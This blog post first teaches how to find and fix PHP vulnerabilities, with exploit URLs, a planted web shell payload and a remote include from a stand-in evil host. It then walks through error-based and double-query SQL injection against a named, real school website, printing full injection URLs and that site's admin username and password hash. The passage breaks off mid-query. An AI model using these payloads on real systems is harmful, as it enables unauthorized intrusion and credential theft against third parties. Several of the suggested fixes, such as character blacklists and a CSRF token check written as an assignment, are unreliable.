ethicalhacking786 Tutuorials

A blog about Ethical hacking kali linux tutorials web developing and designing, adobe dream viwer hacking tools hacking tutorials ,Earning tips, sql injections tips and tricks, google adsense tips , youtube tips, pentration testing ....

Finding and Fixing vulnerabilities in PHP scripts Detailed Tutorial 2015


php bugs



In this tutorial I will show you how you can find vulnerabilities n Fix in php scripts.I will not explain
 how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
 examples without the basic example of each category was founded in different scripts.

1) Remote File Inclusion


   - Tips : You can use the NULLBYTE and ? trick.
        You can use HTTPS and FTP to bypass filters ( http filtered )


 In PHP is 4 functions through you can include code.

       require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
       require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
       include - includes and evaluates the specified file.
       include_once -  includes and evaluates the specified file during the execution of the script.


 1.0 - Basic example


    - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
you can use "https" or "ftp".

    - Code snippet from test.php

-----------------------------------------------
Code:
[color=#cc99ff]<?php[/color]
[color=#cc99ff]$pagina=$_GET['pagina'];[/color]
[color=#cc99ff]include $pagina;[/color]
[color=#cc99ff]?>[/color]

-----------------------------------------------

- If we access the page we got some errors and some warnings( not pasted ) :

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

      - We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :

   http://127.0.0.1/test.php?pagina=http://...script.txt

Now I will show why some people use ? and after the link to the evil script.

# The ""

- Code snippet from test.php

-----------------------------------------------
<?php
       $pagina=$_GET['pagina'];
       include $pagina.'.php';
       ?>
-----------------------------------------------

- So if we will request

   http://127.0.0.1/test.php?pagina=http://...script.txt

Will not work because the script will try to include http://evilsite.com/evilscript.txt.php

So we will add a NULLBYTE ( ) and all the shit after nullbyte will not be taken in
consideration.Example :

   http://127.0.0.1/test.php?pagina=http://...ipt.txt

The script will successfully include our evilscript and will throw to junk the things
after the nullbyte.

# The "?"

- Code snippet from test.php

-----------------------------------------------
<?php
       $pagina=$_GET['pagina'];
       include $pagina.'logged=1';
       ?>
-----------------------------------------------

 And the logged=1 will become like a variable.But better use nullbyte.Example :

   http://127.0.0.1/test.php?pagina=http://...t?logged=1

The evilscript will be included succesfully.


1.1 - Simple example 


     Now an example from a script.

  - Code snippet from index.php

----------------------------------------------------
      if (isset($_REQUEST["main_content"])){
          $main_content = $_REQUEST["main_content"];
       } else if (isset($_SESSION["main_content"])){
          $main_content = $_SESSION["main_content"];
       }
 .......................etc..................
         ob_start();
        require_once($main_content);
----------------------------------------------------

  We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
set any value that he want. Below the "main_content" variable is include.So if we make the
following request :

   http://127.0.0.1/index.php?main_content=...script.txt

Our evil script will be successfully included.


 1.2 - How to fix


     Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
 Another way : filter "http" , "https" , "ftp" and "smb".

2) Local File Inclusion


    - Tips : You can use the NULLBYTE and ? trick.
       ../ mean a directory up
On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).

 The same functions which let you to include (include,include_once,require,require_once) .


 2.0 - Basic example


 - Code snippet from test.php

 -----------------------------------
  <?php
  $pagina=$_GET['pagina'];
  include '/pages/'.$pagina;
  ?>
 -----------------------------------

   Now,we can not include our script because we can not include remote files.We can include only
local files as you see.So if we make the following request :

         http://127.0.0.1/test.php?pagina=../../....etc/passwd

The script will include "/pages/../../../../../../etc/passwd" successfully.

           You can use the and ? .The same story.


 2.1 - Simple example


    - Code snippet from install/install.php

-------------------------------------
 if(empty($_GET["url"]))
       $url = 'step_welcome.php';
         else
       $url = $_GET["url"];
 .............etc.............
 <p><? include('step/'.$url) ?></p>
-------------------------------------

  We can see that "url" variable is injectable.If the "url" variable is not set
 (is empty) the script will include "step_welcome.php" else will include the
 variable set by the attacker.

  So if we do the following request :

http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd

The "etc/passwd" file will be succesfully included.



 4.2 - How to fix

 

  Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .


3) Local File Disclosure/Download  


    - Tips : Through this vulnerability you can read the content of files,not include.

Some functions which let you to read files :

 file_get_contents — Reads entire file into a string
 readfile — Outputs a file
 file — Reads entire file into an array
 fopen — Opens file or URL
 highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
                highlighted version of the code contained in filename using the
colors defined in the built-in syntax highlighter for PHP.
 show_source — Alias of highlight_file()


     3.0 - Basic example


    - Code snippet from test.php

--------------------------------------
 <?php
 $pagina=$_GET['pagina'];
 readfile($pagina);
 ?>
 --------------------------------------

  The readfile() function will read the content of the specified file.So if we do the following request :

   http://127.0.0.1/test.php?pagina=../../....etc/passwd

The content of etc/passwd will be outputed NOT included.


 3.1 - Simple example

           
 - Code snippet from download.php

-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------

  The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
  If we make the following request :

    http://127.0.0.1/download.php?file=../.....etc/passwd

So we can succesfully read the "etc/passwd" file.


 3.2 - How to fix


  Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .


4) SQL Injection


    - Tips : If the user have file privileges you can read files.
         If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.

   
     4.0 - Basic example 


    - Code snippet from test.php

----------------------------------------------------------------------------------
<?php
$id = $_GET['id'];
        $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------

 The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :

  http://127.0.0.1/test.php?id=1+union+all...passwd'),4--

And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
file privileges.


4.1 - Simple example


      - Code snippet from house/listing_view.php

-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
          require_once($home."mysqlinfo.php");
          $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
          $result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------

We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :

 http://127.0.0.1/house/listing_view.php?...from+users--

And we get the email and the password from the users table.



 4.2 - SQL Injection Login Bypass


 - Code snippet from /admin/login.php

 ------------------------------------------------------------------------------------------------------------------------------
  $postbruger = $_POST['username'];
          $postpass = md5($_POST['password']);
          $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
          or die("<p>" . mysql_error() . "</p>\n");
          ------------------------------------------------------------------------------------------------------------------------------

  The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :

username : admin ' or ' 1=1
password : sirgod

We logged in.Why?Look,the code will become

---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1  AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------

Login bypassed.The username must be an existent username.


 4.3 - How to fix


  Simple way : Don't allow special chars in variables.For numeric variables
          use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
           SQLI : - , . ( ) ' " _ + / *
Use Mod Security / Firewalls  (anyways they can be Bypassed but still sometimes cool)
Or FIlter Your Parameter Like This

Code:
$unsafe_variable = $_POST["user-input"];
$safe_variable = mysql_real_escape_string($unsafe_variable);

mysql_query("INSERT INTO table (column) VALUES ('" . $safe_variable . "')");





5) Insecure Cooke Handling

 
- Tips : Write the code in the URLbar,don't use a cookie editor for this.


 5.0 - Basic example


    - Code snippet from test.php

---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------

Something interesting here.If we set to the "is_user_logged" variable
from cookie value "1" we are logged in.Example :

javascript:document.cookie = "is_user_logged=1; path=/";

So practically we are logged in,we pass the check and we can access the admin panel.


 5.1 - Simple example


  - Code snippet from admin.php

----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------

Code looks exploitable.We can set a cookie value that let us to bypass the login
and tell to the script that we are already logged in.Example :

javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";

What is 1246371700? Is the current time() echo'ed + 360.


 5.2 - How to fix 



      Simple way : The most simple and eficient way : use SESSIONS .


6) Remote Command Execution


   - Tips : If in script is used exec() you can't see the command output(but the command is executed)
       until the result isn't echo'ed from script.
        You can use AND operator ( || ) if the script execute more than one command .

 In PHP are some functions that let you to execute commands :

     exec — Execute an external program
     passthru — Execute an external program and display raw output
     shell_exec — Execute command via shell and return the complete output as a string
     system — Execute an external program and display the output


 6.0 - Basic example

   - Code snippet from test.php

---------------------------------
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------

So if we make the following request :

http://127.0.0.1/test.php?cmd=whoami

The command will be executed and the result will be outputed.


 6.1 - Simple example


   - Code snippet from dig.php

  -------------------------------------------------------------------------------------------
  $status = $_GET['status'];
  $ns  = $_GET['ns'];
  $host   = $_GET['host'];
  $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
  $ip     = $_SERVER['REMOTE_ADDR'];
  $self   = $_SERVER['PHP_SELF'];
  ........................ etc ........................
  $host = trim($host);
  $host = strtolower($host);
  echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
  echo '<pre>';
      system ("dig @$ns $host $query_type");
-------------------------------------------------------------------------------------------

The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
         that he want through this variable.

   Lets make a request :

http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
will not work of course.Lets do something a little bit tricky.We have the AND operator
( || ) and we will use it to separe the commands.Example :

    http://127.0.0.1/dig.php?ns=||whoami||&h...us=digging

      Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".



     6.2 - Advanced example


    - Code snippet from add_reg.php

-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------
   
We can see that the script creates a php file in "sites" directory( ourusername.php ).
        The script save all the user data in that file so we can inject our evil code into one
       field,I choose the "location" variable.

So if we register as an user with the location (set the "location" value) :

          <?php system($_GET['cmd']); ?>

       the code inside sites/ourusername.php will become :

         -------------------------------------------------
         <?php
         $regdate = "13 June 2009, 4:16 PM";
         $user = "pwned";
         $pass = "pwned";
         $email = "pwned@yahoo.com";
         $location = "<?php system($_GET['cmd']); ?>";
         $url = "http://google.ro";
         ?>
 -------------------------------------------------

        So we will get an parse error.Not good.We must inject a proper code to get the result that we want.

       Lets inject this code :

          \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\"Big Grin

       So the code inside sites/ourusername.php will become :

         --------------------------------------------------------------
         <?php
         $regdate = "13 June 2009, 4:16 PM";
         $user = "pwned";
         $pass = "pwned";
         $email = "pwned@yahoo.com";
         $location = "";?><?php system($_GET['cmd']);?><?php $xxx="Big Grin";
         $url = "http://google.ro";
         ?>
 --------------------------------------------------------------

       and we will have no error.Why?See the code :

    $location = "";?><?php system($_GET['cmd']);?><?php $xxx="Big Grin";

       Lets split it :

       -------------------------------
       $location = "";
       ?>
       <?php system($_GET['cmd']);?>
       <?php $xxx="Big Grin";
-------------------------------

         We set the location value to "",close the first php tags,open the tags
        again,wrote our evil code,close the tags and open other and add a variable
        "xxx" because we dont want any error.I wrote that code because I want no
        error,can be modified to be small but will give some errors(will not
        stop us to execute commands but looks ugly).

So if we make the following request :

  http://127.0.0.1/sites/ourusername.php?cmd=whoami

   And our command will be succesfully executed.


 6.3 - How to fix 


      Simple way : Don't allow user input .
  Another way : Use escapeshellarg() and escapeshellcmd() functions .
               Example : $cmd=escapeshellarg($_GET'cmd']);
 

7) Remote Code Execution

 
- Tips : You must inject valid PHP code including terminating statements ( ; ) .

 
 7.0 - Basic example


    - Code snippet from test.php

-----------------------------------
 <?php
 $code=$_GET['code'];
 eval($code);
 ?>
 -----------------------------------
   
    The "eval" function evaluate a string as PHP code.So in this case we are able to execute
our PHP code.Examples :

  http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);

And we will see the output of the PHP code injected by us.


7.1 - Simple example


    - Code snippet from system/services/init.php

------------------------------------------------
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
        if ( $_SERVER['HTTP_CLIENT_IP'] )
------------------------------------------------

 We see that the "anticode" is requested by $_REQUEST method and the coder
"secured" the input with "stripslashes" which is useless here,we don't need
slashes to execute our php code only if we want to include a URL.So we can
inject our PHP code.Example :

  http://127.0.0.1/test.php?anticode=phpinfo();

Great,injection done,phpinfo() result printed.No include because slashes are
removed,but we can use system() or another function to execute commands.


 7.2 - How to fix 

     
          Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.



8) Cross-Site Scripting


   - Tips : You can use alot of vectors,can try alot of bypass methods,you cand
      find them around the web.


 8.0 - Basic example



    - Code snippet from test.php

---------------------------------
 <?php
 $name=$_GET['name'];
 print $name;
 ?>
     ---------------------------------

  The input is not filtered,an attacker can inject JavaScript code.Example :

         http://127.0.0.1/test.php?name=<script>alert("XSS")</script>

A popup with XSS message will be displayed.JavaScript code succesfully executed.


 8.1 - Another example


    - Code snippet from test.php

 -------------------------------------------
  <?php
  $name=addslashes($_GET['name']);
  print '<table name="'.$name.'"></table>';
  ?>
 -------------------------------------------

 Not an advanced example,only a bit complicated.

http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>

 Why this vector?We put " because we must close the " from the "name" atribut
of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
we want to bypass addslashes() function.Injection done.



8.2 - Simple example 

   
 - Code snippet from modules.php

 ---------------------------------------------------------------------------
 if (isset($name)) {
 .................... etc................
 } else {
 die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
 ---------------------------------------------------------------------------

 The "name" variable is injectable,input is not filtered,so we can inject
with ease JavaScript code.Example :

      http://127.0.0.1/test.php?name=<script>alert("XSS")</script>


 8.3 - How to fix


        Simple way : Use htmlentities() or htmlspecialchars() functions.
            Example : $name=htmlentities($_GET['name']);
Another way : Filter all special chars used for XSS ( a lot ).
            The best way is the first method.


9) Authentication Bypass 


   - Tips : Look deep in the scripts,look in the admin directories,
      maybe are not protected,also look for undefined variables
like "login" or "auth".


 9.0 - Basic example

   
 I will provide a simple example of authentication bypass
via login variable.

 - Code snippet from test.php

 ---------------------------------
 <?php
 if ($logged==true) {
 echo 'Logged in.'; }
 else {
 print 'Not logged in.';
 }
 ?>
 ---------------------------------

  Here we need register_gloabals = on . I will talk about php.ini
settings a bit later in this tutorial.If we set the value of $logged
variable to 1 the if condition will be true and we are logged in.
  Example :

http://127.0.0.1/test/php?logged=1

  And we are logged in.


 11.1 - Via login variable


- Code snippet from login.php

------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "<p>$txt_pass_ok</p>";
echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
<a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
</a></div>";
}
------------------------------------------------------------------------------------

Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
       tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :

   http://127.0.0.1/login.php?login_ok=1

Now we are logged in.


 9.2 - Unprotected Admin CP


         You couln't belive this but some PHP scrips don't protect the admin
control panel : no login,no .htaccess,nothing.So we simply we go to
the admin panel directory and we take the control of the website.
 Example :

    http://127.0.0.1/admin/files.php

We accessed the admin panel with a simple request.


 9.3 - How to fix 


    - Login variable bypass : Use a REAL authentication system,don't check the
                        login like that,use SESSION verification.Example :

    if($_SESSION['logged']==1) {
echo 'Logged in'; }
else { echo 'Not logged in';
}

- Unprotected Admin CP : Use an authentication system or use .htaccess to
                        allow access from specific IP's or .htpasswd to
request an username and a password for admin CP.
Example :

.htaccess :

  order deny, allow
  deny from all
  allow from 127.0.0.1

.htpasswd :

  AuthUserFile /the/path/.htpasswd
  AuthType Basic
  AuthName "Admin CP"
  Require valid-user

and /the/path/.htpasswd

sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.


10) Insecure Permissions


   Tips : Look deep into the files,look if the script request to be
    logged in to do something,maybe the script don't request.
  Watch out for insecure permissions,maybe you can do admin
things without login.


 10.0 - Basic example

   
We are thinking at a script who let the admin to have a lookup in
the users database through a file placed in /admin directory.That
file is named...hmmm : db_lookup.php.

- Code snippet from admin/db_lookup.php

--------------------------------------------
<?php
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------

 Lets think.We cannot access the "protected" directory because
is .htaccess'ed.But look at this file,no logged-in check,nothing.
So if we acces :

  http://127.0.0.1/admin/db_lookup.php

We can see the database.Remember,this is only an example created by
me,not a real one,you can find this kind of vulnerabilities in scripts.


 10.1 - Read the users/passwords



    Oh yeah,some coders are so stupid.They save the usernames and passwords
in text files,UNPROTECTED.A simple example from a script :

  http://127.0.0.1/userpwd.txt

And we read the file,the usernames and passwords are there.


 10.2 - Download Backups


  Some scripts have database backup functions,some are safe,some are not safe.
I will show you a real script example :

- Code snippet from /adminpanel/phpmydump.php

--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------

After a lof of code the function is called.I don't pasted the entire code
because is huge.I analyzed the script,no login required,no check,nothing.So
if we access the file directly the download of the backup will start.Example :

    http://127.0.0.1/adminpanel/phpmydump.php

 Now we have the database backup saved in our computer.



     10.3 - INC files



 Some scripts saves important data in INC files.Usually in INC files is PHP
code containing database configuration.The INC files can be viewed in
browser even they contain PHP code.So a simple request will be enough to
access and read the file.Example :

    http://127.0.0.1/inc/mysql.inc

 Now we have the database connection details.Look deep in scripts,is more
scripts who saves important data into INC files.


 10.4 - How to fix
               

  - Basic example : Check if the admin is logged in,if not,redirect.

- Read the users/passwords : Save the records in a MySQL database
                         or in a protected file/directory.

  - Download Backups : Check if the admin is logged in,if not,redirect.

- INC files : Save the configuration in proper files,like .php or
         protect the directory with an .htaccess file.
 

11) Cross Site Request Forgery


  - Tips : Through CSRF you can change the admin password,is not
     so inofensive.
   Can be used with XSS,redirected from XSS.


 13.0 - Basic example

   
 - Code snippet from test.php

 -----------------------------------------
 <?php
 check_auth();
 if(isset($_GET['news']))
 { unlink('files/news'.$news.'.txt'); }
 else {
 die('File not deleted'); }
 ?>
 -----------------------------------------

  In this example you will see what is CSRF and how it works.In the "files"
 directory are saved the news written by the author.The news are saved like
 "news1.txt","news2.txt" etc. So the admin can delete the news.The news that
 he want to delete will be specified in "news" variable.If he want to delete
 the news1.txt the value of "news" will be "1".We cannot execute this without
 admin permissions,look,the script check if we are logged in.
  I will show you an example.If we request :

 http://127.0.0.1/test.php?news=1

The /news/news1.txt file will be deleted.The script directly delete the file
 without any notice.So we can use this to delete a file.All we need is to trick
 the admin to click our evil link and the file specified by us in the "news"
 variable will be deleted.


 11.1 - Simple example



    In a way the codes below are included in the index.php file ,I
will not paste all the includes,there are a lot.

         - Code snippet from includes/pages/admin.php

         --------------------------------------------------------------------
         if ($_GET['act'] == '') {
         include "includes/pages/admin/home.php";
         } else {
         include "includes/pages/admin/" . $_GET['act'] . ".php";
 --------------------------------------------------------------------

Here we can see how the "includes/pages/admin/members.php" is included in
this file.If "act=members" the file below will be included.

   
 - Code snippet from includes/pages/admin/members.php

 ----------------------------------------------------------------------------------------------
 if ($_GET['func'] == 'delete') {
 $del_id = $_GET['id'];
 $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
 $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
 while ($results2121 = mysql_fetch_array($result2121)) {
 $their_role = $results2121['ROLE'];
 }
 if ($their_role != '1') {
         mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
         ());
 ----------------------------------------------------------------------------------------------

 We can see here that if "func=delete" will be called by URL,the script will
delete from the database a user with the specified ID ( $id ) without any
confirmation.Example :

  http://127.0.0.1/index.php?page=admin&ac...elete&id=4

The script check if the admin is logged in so if we trick the admin to click
our evil link the user who have the specified ID in the database will be deleted
without any confirmation.


 11.2 - How to fix 


    - Simple way : Use tokens.At each login,generate a random token and save it
              in the session.Request the token in URL to do administrative
actions,if the token missing or is wrong,don't execute the
action.I will show you only how to to check if the token
                                              is present and is correct.Example :

-------------------------------------------------------
<?php
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------

The request will look like this one :

  http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]

So this request will be fine,the news will be deleted.


- Another way : Do some complicated confirmations or request a password
               to do administrative actions.

~~::Author ::~~
H4x0r10ux M1nd

DOUBLE QUERY SQL INJECTION

Difficulty: Intermediate Level 2 and Advanced
Requirements: Patience,intuition and understanding
Estimated time to read the chapter: 10-20 min (reading thoroughly will help you understand better)


Alright I'll make this tutorial as short as possible so that you can understand faster.




Understanding Error Based/Double Query

How does Error Base and Double Query work
Error Based:


Code:
A method of extracting information from a database when UNION SELECT function does not work at all. This can be done using a compiled query to extract the database information



 Double Query:


Code:
Basically like Error Based, except that the Error Based Query will be doubled as a single query statement so that we'll get errors with information in it



 I'll explain further in this tutorial
Anyways, focus on this part of this tutorial

Error Based IS Double Query
Error Based = Double Query (Error based 2x)


How do you know you should use Error Based/Double Query? (Important!)

This is the most important part of web hacking; the type of injection to use in different situations
You can use Error Based/ Double Query Injections in the following errors you get


Code:
a. The Used Select Statements Have  Different Number Of Columns.
b. Unknown Column 1 or no columns at all (in webpage and page source)
c.Error #1604



 Now take note of those errors. You'll be needing it 

Lets start with Error Based SQL injection

Alright for this lesson, we'll use this site as an example:
http://www.aliqbalschools.org

First approach is knowing the version of the database

To do that we enter this query after the end of the URL


Code:
or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

So the site will look like this


Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

Results:

[Image: TIqze.png]

Now that we know the version of the database which is 5, lets move to the next step




Second step: Getting the database nam
e


To get the database, we enter this query


Code:
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Notice the limit function in the query
A website can have more than 2 two databases, so increase the limit until you find all database names
Example: limit 0,1 or limit 1,1 or limit 2,1
Now our website address will look like this


Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Results:

Database is : iqbal_iqbal

Second step is done where we extract the database names we need.
MAKE sure you write the database name on a paper or notepad
We'll need it later




Third Step: Getting the TABLE NAMES

Table names is what we need now
Here's the query we can use:


Code:
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Don't also forget the LIMIT function we used here to get table names one by one

Alright our web address will look like this:


Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 19,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Now here's the important part:

When you search for tables keep incrementing the limit until you find the valuable table name
For example: LIMIT 0,1
LIMIT 1,1
LIMIT 2,1
Keep increasing the number until you find the table you want to extract the information from
Here's the formula: LIMIT N,1 where N is a random integer

Valuable Tables can be:


Code:
Users
Admin
user
administrator
tbladmin
tblusers
settings



 In this case, we have the table "settings"
So now we know our table, lets move on to the next step



Fourth Step: Getting Columns from specific TABLE NAMES

Alright, now that you've chosen the table you wanna extract columns from, time to execute another query
So here's how a column query extraction will look like:


Code:
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Notice the LIMIT 0,1 FUNCTION and 0xTABLEHEX
You need to convert your specific table into hex and add 0x at the beginning of the string so that it can be readable to the website
To convert a string to hex use: http://www.swingnote.com/tools/texttohex.php
Here's how the address will look like along with the query


Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Results:

Code:
Duplicate entry 'Id~1' for key 'group_key

Now you need to increment the limit until you find valuable columns such as userName and passWord.
So in this case,
Column name = userName


Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Column name= passWord


Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
[Image: kNbNI.png]
Again, don't forget to see the LIMIT Function
Now that we found the columns we want to extract information from i.e "userName" and "passWord", lets proceed to the next step where we can actually get the login username and password


Fifth Step: Extracting the data from Columns


Alright this part is probably the best in SQL injecting site.
Time to get the info from the columns we have
To do that, use this query


Code:
and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)



 Now before you proceed, watch and focus on the code and study what happens.
Here we have 4 variables:
1. COLUMN_NAME: where you insert the column name you want to extract information from
2.Databasename: where you insert the current database name of the website so that you'll be extract info from it
3. TABLENAME: where you insert the table name of the column names you extracted from
4. LIMIT N,1: LIMIT Function and N where N is a random integer
Now lets do some replacing, FOCUS


Code:
COLUMN_NAME replace with "userName" and "passWord"
Databasename replace with "iqbal_iqbal"
TABLENAME replace with "settings"


After you're done with altering the code to your needs of extracting information, time to execute it
Here's what the code will look like:


Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(concat(userName,0x7e,passWord) as char),0x7e)) from iqbal_iqbal.settings limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Results:
Code:
Duplicate entry 'admin~86f574c1d63d53fa804c13c3213953d9~1' for key
[Image: PTqli.png]
SUCCESS, you injected the site with error based now you have the login info
Username: admin
Password: 86f574c1d63d53fa804c13c3213953d9
Go to http://www.md5decrypter.co.uk/ to crack that MD5 Hash


Now Lets Start with DOUBLE Query SQL Injection
So basically, as stated above, DOUBLE Query is the same like Error Based except the query we'll enter is gonna be double the normal error based query
First off, the definition so that you can understand:

Code:
Double query SQL injection is a vulnerability that uses two queries together wrapped into one that confuses the db to a point where it spits out an error. This error gives us the info we need to leverage the database all the way to the admin panel. As a matter of fact we can pretty much dump the whole database if we want.

Differences:
Error Based Query for Database Extraction:


Code:
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Double Query for Database Extraction:

Code:
and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

Now you get the idea, lets cut to the chase and go on
We'll be using the same site as above
Step1: Getting the database version
Alright same as Error Based, here's the Double query:

Code:
and(select 1 from(select count(*),concat((select (select
